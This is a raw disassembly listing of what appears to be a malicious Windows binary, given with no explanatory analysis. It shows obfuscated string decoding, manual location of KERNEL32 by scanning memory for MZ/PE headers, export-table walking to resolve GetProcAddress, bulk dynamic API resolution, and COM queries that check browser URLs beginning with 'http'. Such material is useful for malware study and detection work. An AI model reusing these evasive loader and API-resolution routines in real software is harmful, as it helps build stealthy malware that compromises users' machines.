mov ds:10012790h[edi*4], eax
loc_419F50: ; CODE XREF: .data:00419E8Ej
; .data:00419EADj ...
inc edi
loc_419F51: ; CODE XREF: .data:00419DFBj
cmp edi, 5Ah
jbe loc_419E00
mov eax, ds:1001309Ch
sub eax, 5
push eax
call dword ptr ds:10012630h
pop ecx
jmp loc_419DF6
; ---------------------------------------------------------------------------
db 5Fh
dd 0C2C95B5Eh
db 4, 0
; =============== S U B R O U T I N E =======================================
sub_419F76 proc near ; CODE XREF: .data:0041F293p
push 2
call sub_41F9EF
push 0
call sub_41F9EF
add esp, 8
retn
sub_419F76 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419F88 proc near ; CODE XREF: .data:0041F305p
var_30D = byte ptr -30Dh
var_30C = byte ptr -30Ch
var_308 = byte ptr -308h
var_302 = byte ptr -302h
var_203 = byte ptr -203h
var_108 = byte ptr -108h
var_104 = byte ptr -104h
var_103 = byte ptr -103h
var_FF = byte ptr -0FFh
var_FE = byte ptr -0FEh
push ebp
mov ebp, esp
sub esp, 310h
push edi
push 0FFh
lea eax, [ebp+var_302]
push eax
call dword ptr ds:1000F600h
lea eax, [ebp+var_203]
push eax
push dword ptr ds:10013168h
push 0
push 1Ch
push 0
call dword ptr ds:1000FA44h
push 10014837h
call sub_41C914
movsx edi, word ptr ds:100131B4h
sub edi, 2
push edi
lea edi, [ebp+var_203]
push edi
push eax
push 1000F0F0h
call dword ptr ds:10012634h
push 10014824h
call sub_41C914
movsx edi, word ptr ds:10013124h
sub edi, 4
push edi
lea edi, [ebp+var_203]
push edi
push eax
push 10010260h
call dword ptr ds:10012634h
lea eax, ds:100083B6h
mov ds:1001262Ch, eax
lea eax, ds:100083B6h
mov ds:1000D04Ch, eax
lea eax, ds:100069B8h
mov ds:10012774h, eax
push 1000E020h
call sub_41F596
movsx eax, word ptr ds:10013170h
mov edx, ds:10013184h
lea eax, [eax+edx+6]
push eax
push 10010230h
call sub_41F760
lea eax, ds:10009DA6h
mov ds:10010228h, eax
lea eax, ds:10004982h
mov ds:1000FA30h, eax
lea eax, ds:1000F0F0h
mov ds:10011640h, eax
lea eax, ds:10010260h
mov ds:1000D018h, eax
lea eax, ds:10012670h
mov ds:10013370h, eax
lea eax, [ebp+var_308]
push eax
movsx eax, word ptr ds:10013230h
sub eax, 6
push eax
push 0
push 10002992h
push dword ptr ds:100131C8h
push 0
call dword ptr ds:10012B90h
push eax
call dword ptr ds:10011654h
lea eax, [ebp+var_30C]
push eax
movsx eax, word ptr ds:100131E0h
sub eax, 3
push eax
push 0
push 1000155Fh
mov eax, ds:10013148h
movsx edx, word ptr ds:10013170h
add eax, edx
sub eax, 4
push eax
push 0
call dword ptr ds:10012B90h
push eax
call dword ptr ds:10011654h
mov eax, ds:1001325Ch
add eax, 2
mov ds:1000F620h, eax
mov eax, ds:100130F8h
sub eax, 6
push eax
lea eax, [ebp+var_FF]
push eax
call sub_420FA4
add esp, 3Ch
mov eax, ds:100130ECh
cmp [ebp+eax+var_103], 64h
jnz short loc_41A165
movsx eax, [ebp+var_FE]
mov edx, ds:10013238h
add edx, 1Ch
movsx ecx, word ptr ds:1001327Ch
add edx, ecx
sub eax, edx
mov [ebp+var_30D], al
movzx eax, [ebp+var_30D]
push eax
push 0
call sub_42091E
add esp, 8
mov eax, ds:10013204h
dec eax
mov ds:1000F620h, eax
loc_41A165: ; CODE XREF: sub_419F88+19Dj
mov eax, ds:10013284h
cmp [ebp+eax+var_108], 67h
jnz short loc_41A1C6
mov eax, ds:100131D0h
add eax, ds:1001325Ch
mov edx, ds:10013148h
movsx ecx, word ptr ds:1001322Ch
add edx, ecx
sub edx, 9
mov [ebp+eax+var_104], dl
lea eax, [ebp+var_FE]
push eax
call dword ptr ds:1000D054h
mov [ebp-310h], eax
push eax
push 10012670h
call sub_41AFF0
add esp, 0Ch
mov eax, ds:100131D0h
sub eax, 7
mov ds:1000F620h, eax
loc_41A1C6: ; CODE XREF: sub_419F88+1EAj
pop edi
leave
retn
sub_419F88 endp
; ---------------------------------------------------------------------------
db 0B8h, 1, 40h
dd 10C28000h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A1D1 proc near ; CODE XREF: sub_41C6CD+CDp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push 10013310h
push 100132D0h
push [ebp+arg_4]
push [ebp+arg_0]
call sub_422931
pop ebp
retn
sub_41A1D1 endp
; =============== S U B R O U T I N E =======================================
sub_41A1EB proc near ; CODE XREF: .data:0041F023p
push edi
push 10014816h
call sub_41C914
pop ecx
push eax
call dword ptr ds:1000F5E8h
mov ds:1001329Ch, eax
test eax, eax
jnz short loc_41A21E
push 10014808h
call sub_41C914
pop ecx
push eax
call dword ptr ds:10010244h
mov ds:1001329Ch, eax
loc_41A21E: ; CODE XREF: sub_41A1EB+1Aj
push 100147F5h
call sub_41C914
push eax
push dword ptr ds:1001329Ch
call dword ptr ds:1000F1F8h
mov ds:1001260Ch, eax
push 100147E2h
call sub_41C914
push eax
push dword ptr ds:1001329Ch
call dword ptr ds:1000F1F8h
mov ds:1001164Ch, eax
push 100147D0h
call sub_41C914
push eax
push dword ptr ds:1001329Ch
call dword ptr ds:1000F1F8h
mov ds:1000F618h, eax
push 100147BFh
call sub_41C914
push eax
push dword ptr ds:1001329Ch
call dword ptr ds:1000F1F8h
mov ds:10010224h, eax
push 100147ABh
call sub_41C914
push eax
push dword ptr ds:1001329Ch
call dword ptr ds:1000F1F8h
mov ds:1000D050h, eax
push 1001479Ah
call sub_41C914
push eax
push dword ptr ds:1001329Ch
call dword ptr ds:1000F1F8h
mov ds:1000E010h, eax
push 10014783h
call sub_41C914
push eax
push dword ptr ds:1001329Ch
call dword ptr ds:1000F1F8h
mov ds:1000F5F4h, eax
push 10014774h
call sub_41C914
push eax
push dword ptr ds:1001329Ch
call dword ptr ds:1000F1F8h
mov ds:10011630h, eax
push 10014767h
call sub_41C914
push eax
push dword ptr ds:1001329Ch
call dword ptr ds:1000F1F8h
mov ds:1000D004h, eax
push 10014755h
call sub_41C914
push eax
push dword ptr ds:1001329Ch
call dword ptr ds:1000F1F8h
mov ds:10012628h, eax
push 10014744h
call sub_41C914
push eax
push dword ptr ds:1001329Ch
call dword ptr ds:1000F1F8h
mov ds:10012654h, eax
push 10014732h
call sub_41C914
push eax
push dword ptr ds:1001329Ch
call dword ptr ds:1000F1F8h
mov ds:10012BA4h, eax
push 10014723h
call sub_41C914
push eax
push dword ptr ds:1001329Ch
call dword ptr ds:1000F1F8h
mov ds:10010220h, eax
push 10014716h
call sub_41C914
push eax
push dword ptr ds:1001329Ch
call dword ptr ds:1000F1F8h
mov ds:10012620h, eax
push 10014707h
call sub_41C914
push eax
push dword ptr ds:1001329Ch
call dword ptr ds:1000F1F8h
mov ds:10012644h, eax
push 100146F9h
call sub_41C914
push eax
push dword ptr ds:1001329Ch
call dword ptr ds:1000F1F8h
mov ds:1000D040h, eax
push 100146E7h
call sub_41C914
push eax
push dword ptr ds:1001329Ch
call dword ptr ds:1000F1F8h
mov ds:1000F0DCh, eax
push 100146D7h
call sub_41C914
push eax
push dword ptr ds:1001329Ch
call dword ptr ds:1000F1F8h
mov ds:1000D014h, eax
push 100146CBh
call sub_41C914
push eax
push dword ptr ds:1001329Ch
call dword ptr ds:1000F1F8h
mov ds:1000FA40h, eax
push 100146BFh
call sub_41C914
push eax
push dword ptr ds:1001329Ch
call dword ptr ds:1000F1F8h
mov ds:10012604h, eax
push 100146ADh
call sub_41C914
push eax
push dword ptr ds:1001329Ch
call dword ptr ds:1000F1F8h
mov ds:1000F5FCh, eax
push 1001469Bh
call sub_41C914
push eax
push dword ptr ds:1001329Ch
call dword ptr ds:1000F1F8h
mov ds:10012658h, eax
push 1001468Dh
call sub_41C914
push eax
push dword ptr ds:1001329Ch
call dword ptr ds:1000F1F8h
mov ds:1001265Ch, eax
push 10014679h
call sub_41C914
push eax
push dword ptr ds:1001329Ch
call dword ptr ds:1000F1F8h
mov ds:1001277Ch, eax
push 10014668h
call sub_41C914
push eax
push dword ptr ds:1001329Ch
call dword ptr ds:1000F1F8h
mov ds:1001263Ch, eax
push 10014652h
call sub_41C914
add esp, 68h
push eax
push dword ptr ds:1001329Ch
call dword ptr ds:1000F1F8h
mov ds:1000D048h, eax
pop edi
retn
sub_41A1EB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A4FB proc near ; CODE XREF: sub_41C6CD+20p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 4
push 1000h
push [ebp+arg_0]
push 0
call dword ptr ds:10010248h
pop ebp
retn
sub_41A4FB endp
; =============== S U B R O U T I N E =======================================
sub_41A512 proc near ; CODE XREF: .data:00420EA2p
push edi
push 10014644h
call sub_41C914
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:10012664h, eax
push 1001463Ch
call sub_41C914
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:1000E00Ch, eax
push 10014628h
call sub_41C914
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:1000F5E8h, eax
push 10014618h
call sub_41C914
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:10010244h, eax
push 10014609h
call sub_41C914
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:10012788h, eax
push 100145FAh
call sub_41C914
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:1000D008h, eax
push 100145E8h
call sub_41C914
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:10012B9Ch, eax
push 100145DBh
call sub_41C914
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:10012B8Ch, eax
push 100145CCh
call sub_41C914
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:10011654h, eax
push 100145BDh
call sub_41C914
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:10012624h, eax
push 100145B1h
call sub_41C914
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:1000D000h, eax
push 100145A6h
call sub_41C914
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:1000F0E0h, eax
push 1001458Fh
call sub_41C914
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:1000D00Ch, eax
push 10014578h
call sub_41C914
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:10012640h, eax
push 10014562h
call sub_41C914
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:10012608h, eax
push 10014552h
call sub_41C914
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:1000D034h, eax
push 10014546h
call sub_41C914
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:1000D028h, eax
push 10014536h
call sub_41C914
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:10010248h, eax
push 10014527h
call sub_41C914
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:10011634h, eax
push 10014519h
call sub_41C914
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:1000FA34h, eax
push 1001450Ch
call sub_41C914
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:1000F61Ch, eax
push 100144FBh
call sub_41C914
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:1001025Ch, eax
push 100144EAh
call sub_41C914
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:1000D02Ch, eax
push 100144DAh
call sub_41C914
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:10012770h, eax
push 100144C8h
call sub_41C914
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:10010258h, eax
push 100144B7h
call sub_41C914
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:1000E004h, eax
push 100144AAh
call sub_41C914
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:1000F60Ch, eax
push 10014499h
call sub_41C914
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:10012668h, eax
push 10014484h
call sub_41C914
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:10012650h, eax
push 10014474h
call sub_41C914
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:1000E000h, eax
push 1001445Fh
call sub_41C914
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:1000F0D4h, eax
push 10014452h
call sub_41C914
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:10010364h, eax
push 10014442h
call sub_41C914
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:1001261Ch, eax
push 10014434h
call sub_41C914
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:10011648h, eax
push 1001441Eh
call sub_41C914
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:1001163Ch, eax
push 10014407h
call sub_41C914
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:1000F600h, eax
push 100143EFh
call sub_41C914
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:1000FA3Ch, eax
push 100143D7h
call sub_41C914
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:1000D010h, eax
push 100143BEh
call sub_41C914
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:10012614h, eax
push 100143ABh
call sub_41C914
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:10012780h, eax
push 10014393h
call sub_41C914
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:10012778h, eax
push 10014382h
call sub_41C914
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:10012B98h, eax
push 10014370h
call sub_41C914
add esp, 0ACh
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:1000F5F8h, eax
pop edi
retn
sub_41A512 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A9D0 proc near ; CODE XREF: .data:00420E5Ap
var_28C = dword ptr -28Ch
var_288 = dword ptr -288h
var_281 = byte ptr -281h
var_26C = byte ptr -26Ch
var_252 = byte ptr -252h
var_23D = byte ptr -23Dh
var_230 = dword ptr -230h
var_22C = dword ptr -22Ch
var_228 = dword ptr -228h
var_224 = dword ptr -224h
var_21F = byte ptr -21Fh
var_21E = byte ptr -21Eh
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = dword ptr -114h
var_110 = dword ptr -110h
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_103 = byte ptr -103h
var_102 = byte ptr -102h
var_101 = byte ptr -101h
var_FE = byte ptr -0FEh
var_FD = byte ptr -0FDh
var_FC = byte ptr -0FCh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
movsx esi, word ptr ds:100131B4h
mov edx, ds:10013280h
lea ecx, [esi+edx+8]
shr edi, cl
mov esi, ds:10013270h
add esi, 0Ah
add esi, ds:10013198h
mov ecx, esi
mov ebx, edi
shl ebx, cl
loc_41AA07: ; CODE XREF: sub_41A9D0+5Dj
; sub_41A9D0+99j ...
mov [ebp+var_114], ebx
mov eax, ebx
cmp word ptr [eax], 5A4Dh
jz short loc_41AA2F
movsx eax, word ptr ds:100130BCh
movsx edx, word ptr ds:10013104h
lea eax, [eax+edx+0FFEFh]
sub ebx, eax
jmp short loc_41AA07
; ---------------------------------------------------------------------------
loc_41AA2F: ; CODE XREF: sub_41A9D0+44j
movsx eax, word ptr ds:10013230h
mov edx, ds:100131D4h
lea eax, [eax+edx+34h]
mov edx, ebx
add edx, eax
mov [ebp+var_10C], edx
mov eax, edx
mov edx, ebx
add edx, [eax]
mov [ebp+var_118], edx
mov eax, [ebp+arg_0]
cmp edx, eax
jbe short loc_41AA6B
mov eax, ds:100131F4h
add eax, 0FFFCh
sub ebx, eax
jmp short loc_41AA07
; ---------------------------------------------------------------------------
loc_41AA6B: ; CODE XREF: sub_41A9D0+8Bj
mov eax, [ebp+var_118]
mov [ebp+var_11C], eax
movzx eax, word ptr [eax]
cmp eax, 4550h
jz short loc_41AA98
mov eax, ds:100130ECh
add eax, 0FFFBh
add eax, ds:100130F0h
sub ebx, eax
jmp loc_41AA07
; ---------------------------------------------------------------------------
loc_41AA98: ; CODE XREF: sub_41A9D0+AFj
mov eax, [ebp+var_11C]
mov eax, [eax+78h]
mov [ebp+var_120], eax
mov ecx, ebx
add ecx, eax
mov [ebp+var_110], ecx
mov eax, ecx
mov edx, ebx
add edx, [eax+0Ch]
push edx
lea eax, [ebp+var_103]
push eax
call sub_423399
mov eax, ds:1001325Ch
add eax, ds:10013138h
sub eax, 8
mov [ebp+var_4], eax
jmp short loc_41AAFA
; ---------------------------------------------------------------------------
loc_41AAD8: ; CODE XREF: sub_41A9D0+140j
mov eax, [ebp+var_4]
mov al, [ebp+eax+var_103]
cmp al, 61h
jle short loc_41AAF7
cmp al, 7Ah
jge short loc_41AAF7
mov eax, [ebp+var_4]
lea eax, [ebp+eax+var_103]
sub byte ptr [eax], 20h
loc_41AAF7: ; CODE XREF: sub_41A9D0+114j
; sub_41A9D0+118j
inc [ebp+var_4]
loc_41AAFA: ; CODE XREF: sub_41A9D0+106j
mov eax, [ebp+var_4]
movsx eax, [ebp+eax+var_103]
mov edx, ds:100130A0h
sub edx, 4
cmp eax, edx
jnz short loc_41AAD8
cmp [ebp+var_103], 4Bh
jnz short loc_41AB48
cmp [ebp+var_102], 45h
jnz short loc_41AB48
cmp [ebp+var_101], 52h
jnz short loc_41AB48
cmp [ebp+var_FE], 4Ch
jnz short loc_41AB48
cmp [ebp+var_FD], 33h
jnz short loc_41AB48
cmp [ebp+var_FC], 32h
jz short loc_41AB4D
loc_41AB48: ; CODE XREF: sub_41A9D0+149j
; sub_41A9D0+152j ...
jmp loc_41AD7C
; ---------------------------------------------------------------------------
loc_41AB4D: ; CODE XREF: sub_41A9D0+176j
movsx eax, word ptr ds:10013264h
add eax, ds:10013248h
sub eax, 9
mov [ebp+var_108], eax
jmp loc_41AD67
; ---------------------------------------------------------------------------
loc_41AB68: ; CODE XREF: sub_41A9D0+3A6j
mov eax, [ebp+var_108]
movsx ecx, word ptr ds:10013218h
dec ecx
mul ecx
mov [ebp+var_228], eax
mov edx, ebx
add edx, eax
mov eax, [ebp+var_110]
add edx, [eax+20h]
mov [ebp+var_10C], edx
mov eax, edx
mov edx, ebx
add edx, [eax]
mov [ebp+var_224], edx
push edx
lea eax, [ebp+var_21F]
push eax
call sub_423399
movsx eax, word ptr ds:10013240h
mov edx, eax
add edx, ds:10013238h
cmp byte ptr [ebp+edx+var_224+3], 47h
jnz loc_41AD61
mov edx, ds:100130A0h
add edx, ds:10013120h
cmp byte ptr [ebp+edx+var_228+2], 74h
jnz loc_41AD61
cmp [ebp+eax+var_21E], 50h
jnz loc_41AD61
movsx eax, word ptr ds:10013178h
movsx edx, word ptr ds:100130C0h
add eax, edx
cmp [ebp+eax+var_21F], 63h
jnz loc_41AD61
mov eax, ds:10013234h
add eax, ds:10013154h
cmp byte ptr [ebp+eax+var_224+1], 41h
jnz loc_41AD61
mov eax, ds:100131A0h
add eax, 2
add eax, ds:1001323Ch
cmp [ebp+eax+var_21F], 72h
jnz loc_41AD61
mov eax, [ebp+var_108]
mov ecx, ds:10013194h
sub ecx, 7
mul ecx
mov [ebp+var_288], eax
mov edx, ebx
add edx, eax
mov eax, [ebp+var_110]
add edx, [eax+24h]
mov [ebp+var_114], edx
movzx eax, word ptr [edx]
mov [ebp+var_22C], eax
movsx ecx, word ptr ds:10013144h
sub ecx, 2
mul ecx
mov [ebp+var_28C], eax
mov edx, ebx
add edx, eax
mov eax, [ebp+var_110]
add edx, [eax+1Ch]
mov [ebp+var_10C], edx
mov eax, edx
mov edx, ebx
add edx, [eax]
mov [ebp+var_230], edx
mov ds:10013294h, ebx
mov ds:1000F1F8h, edx
lea edi, [ebp+var_23D]
lea esi, ds:100137C8h
mov ecx, 0Dh
rep movsb
lea edi, [ebp+var_252]
lea esi, ds:100137D5h
mov ecx, 15h
rep movsb
lea edi, [ebp+var_26C]
lea esi, ds:100137EAh
mov ecx, 0Dh
rep movsw
lea edi, [ebp+var_281]
lea esi, ds:10013804h
mov ecx, 15h
rep movsb
lea eax, [ebp+var_23D]
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:10012B90h, eax
lea eax, [ebp+var_252]
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:10012660h, eax
lea eax, [ebp+var_26C]
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:1000E008h, eax
lea eax, [ebp+var_281]
push eax
push dword ptr ds:10013294h
call dword ptr ds:1000F1F8h
mov ds:10011650h, eax
jmp short loc_41AD7C
; ---------------------------------------------------------------------------
loc_41AD61: ; CODE XREF: sub_41A9D0+1F1j
; sub_41A9D0+20Bj ...
inc [ebp+var_108]
loc_41AD67: ; CODE XREF: sub_41A9D0+193j
mov eax, [ebp+var_110]
mov eax, [eax+18h]
cmp [ebp+var_108], eax
jb loc_41AB68
loc_41AD7C: ; CODE XREF: sub_41A9D0:loc_41AB48j
; sub_41A9D0+38Fj
pop edi
pop esi
pop ebx
leave
retn
sub_41A9D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AD81 proc near ; CODE XREF: .data:0042133Fp
var_10034 = dword ptr -10034h
var_10030 = byte ptr -10030h
var_1002C = dword ptr -1002Ch
var_10028 = dword ptr -10028h
var_10024 = dword ptr -10024h
var_10020 = byte ptr -10020h
var_10018 = dword ptr -10018h
var_10010 = dword ptr -10010h
var_1000C = dword ptr -1000Ch
var_10008 = dword ptr -10008h
var_10003 = byte ptr -10003h
var_10002 = byte ptr -10002h
var_10001 = byte ptr -10001h
var_10000 = byte ptr -10000h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10034h
call sub_423379
push ebx
push esi
push edi
cmp dword ptr ds:10013370h, 0
jnz short loc_41ADB1
mov eax, ds:100130D4h
add eax, ds:10013280h
cmp ds:1000F620h, eax
jb loc_41AFEB
loc_41ADB1: ; CODE XREF: sub_41AD81+17j
lea eax, [ebp+var_10020]
push eax
call dword ptr ds:1000D038h
lea eax, [ebp+var_10030]
push eax
lea eax, [ebp+var_10020]
push eax
push 9
mov eax, ds:10013148h
sub eax, 2
push eax
push [ebp+arg_0]
call dword ptr ds:10010254h
mov edi, eax
mov eax, ds:100130F4h
sub eax, 7
cmp edi, eax
jnz loc_41AFEB
mov esi, [ebp+var_10018]
and [ebp+var_1000C], 0
lea eax, [ebp+var_1000C]
push eax
push 10014AD8h
push esi
mov edx, [esi]
call dword ptr ds:0[edx]
mov edi, eax
movsx eax, word ptr ds:100131F0h
sub eax, 3
cmp edi, eax
jnz loc_41AFEB
lea eax, [ebp+var_10024]
push eax
mov eax, [ebp+var_1000C]
push eax
mov edx, [eax]
call dword ptr [edx+78h]
mov edi, eax
mov eax, ds:100131A0h
sub eax, 3
cmp edi, eax
jnz loc_41AFE5
lea eax, [ebp+var_10003]
push eax
push [ebp+var_10024]
call sub_41C841
add esp, 8
mov edx, eax
inc edx
mov [ebp+var_10034], edx
push [ebp+var_10024]
call dword ptr ds:10012BA0h
cmp [ebp+var_10003], 68h
jnz short loc_41AE9C
cmp [ebp+var_10002], 74h
jnz short loc_41AE9C
cmp [ebp+var_10001], 74h
jnz short loc_41AE9C
cmp [ebp+var_10000], 70h
jz short loc_41AEA1
loc_41AE9C: ; CODE XREF: sub_41AD81+FEj
; sub_41AD81+107j ...
jmp loc_41AFE5
; ---------------------------------------------------------------------------
loc_41AEA1: ; CODE XREF: sub_41AD81+119j
lea eax, [ebp+var_10010]
push eax
mov eax, [ebp+var_1000C]
push eax
mov edx, [eax]
call dword ptr [edx+48h]
mov edi, eax
mov eax, ds:10013164h
movsx edx, word ptr ds:10013170h
add eax, edx
sub eax, 6
cmp edi, eax
jnz loc_41AFE5
lea eax, [ebp+var_4]
push eax
push 10014A58h
mov eax, [ebp+var_10010]
push eax
mov edx, [eax]
call dword ptr ds:0[edx]
mov edi, eax
movsx eax, word ptr ds:10013264h
add eax, ds:100131F8h
sub eax, 0Ch
cmp edi, eax
jnz loc_41AFD9
lea eax, [ebp+var_10008]
push eax
mov eax, [ebp+var_4]
push eax
mov edx, [eax]
call dword ptr [edx+1B0h]
mov edi, eax
movsx eax, word ptr ds:10013150h
add eax, ds:100131ECh
sub eax, 10h
cmp edi, eax
jnz loc_41AFD0
lea eax, [ebp+var_10028]
push eax
mov eax, [ebp+var_10008]
push eax
mov edx, [eax]
call dword ptr [edx+70h]
mov edi, eax
mov eax, ds:100130F8h
add eax, ds:10013110h
sub eax, 0Ch
cmp edi, eax
jz short loc_41AF64
mov eax, [ebp+var_10008]
push eax
mov eax, [eax]
call dword ptr [eax+8]
jmp short loc_41AFD0
; ---------------------------------------------------------------------------
loc_41AF64: ; CODE XREF: sub_41AD81+1D3j
xor ebx, ebx
mov eax, [ebp+var_10028]
cmp [ebp+var_10008], eax
jz short loc_41AF77
xor ebx, ebx
inc ebx
loc_41AF77: ; CODE XREF: sub_41AD81+1F1j
mov eax, [ebp+var_10008]
push eax
mov eax, [eax]
call dword ptr [eax+8]
mov eax, [ebp+var_10028]
push eax
mov eax, [eax]
call dword ptr [eax+8]
or ebx, ebx
jnz short loc_41AFD0
lea eax, [ebp+var_1002C]
push eax
mov eax, [ebp+var_4]
push eax
mov edx, [eax]
call dword ptr [edx+20h]
mov edi, eax
mov eax, ds:10013268h
sub eax, 4
cmp edi, eax
jnz short loc_41AFD0
push [ebp+var_1002C]
push [ebp+var_4]
call nullsub_1
push [ebp+var_1002C]
push [ebp+var_4]
call sub_420477
add esp, 10h
loc_41AFD0: ; CODE XREF: sub_41AD81+1A8j
; sub_41AD81+1E1j ...
mov eax, [ebp+var_4]
push eax
mov eax, [eax]
call dword ptr [eax+8]
loc_41AFD9: ; CODE XREF: sub_41AD81+17Bj
mov eax, [ebp+var_10010]
push eax
mov eax, [eax]
call dword ptr [eax+8]
loc_41AFE5: ; CODE XREF: sub_41AD81+C7j
; sub_41AD81:loc_41AE9Cj ...
push esi
mov eax, [esi]
call dword ptr [eax+8]
loc_41AFEB: ; CODE XREF: sub_41AD81+2Aj
; sub_41AD81+6Bj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41AD81 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AFF0 proc near ; CODE XREF: sub_419F88+229p
; sub_41B354+37Bp ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
push edi
mov esi, [ebp+arg_4]
inc esi
movsx edi, word ptr ds:10013208h
mov eax, esi
test eax, eax
jge short loc_41B00F
add eax, 0FFh
loc_41B00F: ; CODE XREF: sub_41AFF0+18j
sar eax, 8
mov ebx, eax
imul ebx, ds:10013128h
lea edi, [edi+ebx+1Ah]
mov [ebp+var_8], edi
mov edi, ds:10013280h
add edi, 11h
mov eax, esi
test eax, eax
jge short loc_41B036
add eax, 0FFh
loc_41B036: ; CODE XREF: sub_41AFF0+3Fj
sar eax, 8
mov ebx, ds:10013270h
add ebx, 0Dh
mov edx, eax
imul edx, ebx
add edi, edx
mov [ebp+var_C], edi
mov edi, ds:10013254h
add edi, 18h
mov eax, esi
test eax, eax
jge short loc_41B060
add eax, 0FFFFh
loc_41B060: ; CODE XREF: sub_41AFF0+69j
sar eax, 10h
mov ebx, ds:10013138h
add ebx, 17h
mov edx, eax
imul edx, ebx
add edi, edx
mov [ebp+var_10], edi
mov eax, esi
mul [ebp+var_8]
mov [ebp+var_1C], eax
and eax, 0FFh
push eax
call sub_419767
mov ebx, eax
mov [ebp+var_1], bl
mov eax, ds:10013134h
add eax, ds:10013220h
mov edx, esi
imul edx, eax
mov eax, edx
and eax, 0FFh
push eax
call sub_41D699
mov ebx, eax
mov [ebp+var_11], bl
mov eax, esi
mul [ebp+var_C]
mov [ebp+var_20], eax
and eax, 0FFh
push eax
call sub_419767
mov ebx, eax
mov [ebp+var_12], bl
mov eax, ds:100131A0h
add eax, 6Eh
mov edx, esi
imul edx, eax
mov eax, edx
and eax, 0FFh
push eax
call sub_41D699
mov ebx, eax
mov [ebp+var_13], bl
mov eax, esi
and eax, 0FFh
push eax
call sub_419767
mov ebx, eax
mov [ebp+var_14], bl
mov eax, ds:100131ACh
add eax, 2Ah
mov edx, esi
imul edx, eax
mov eax, edx
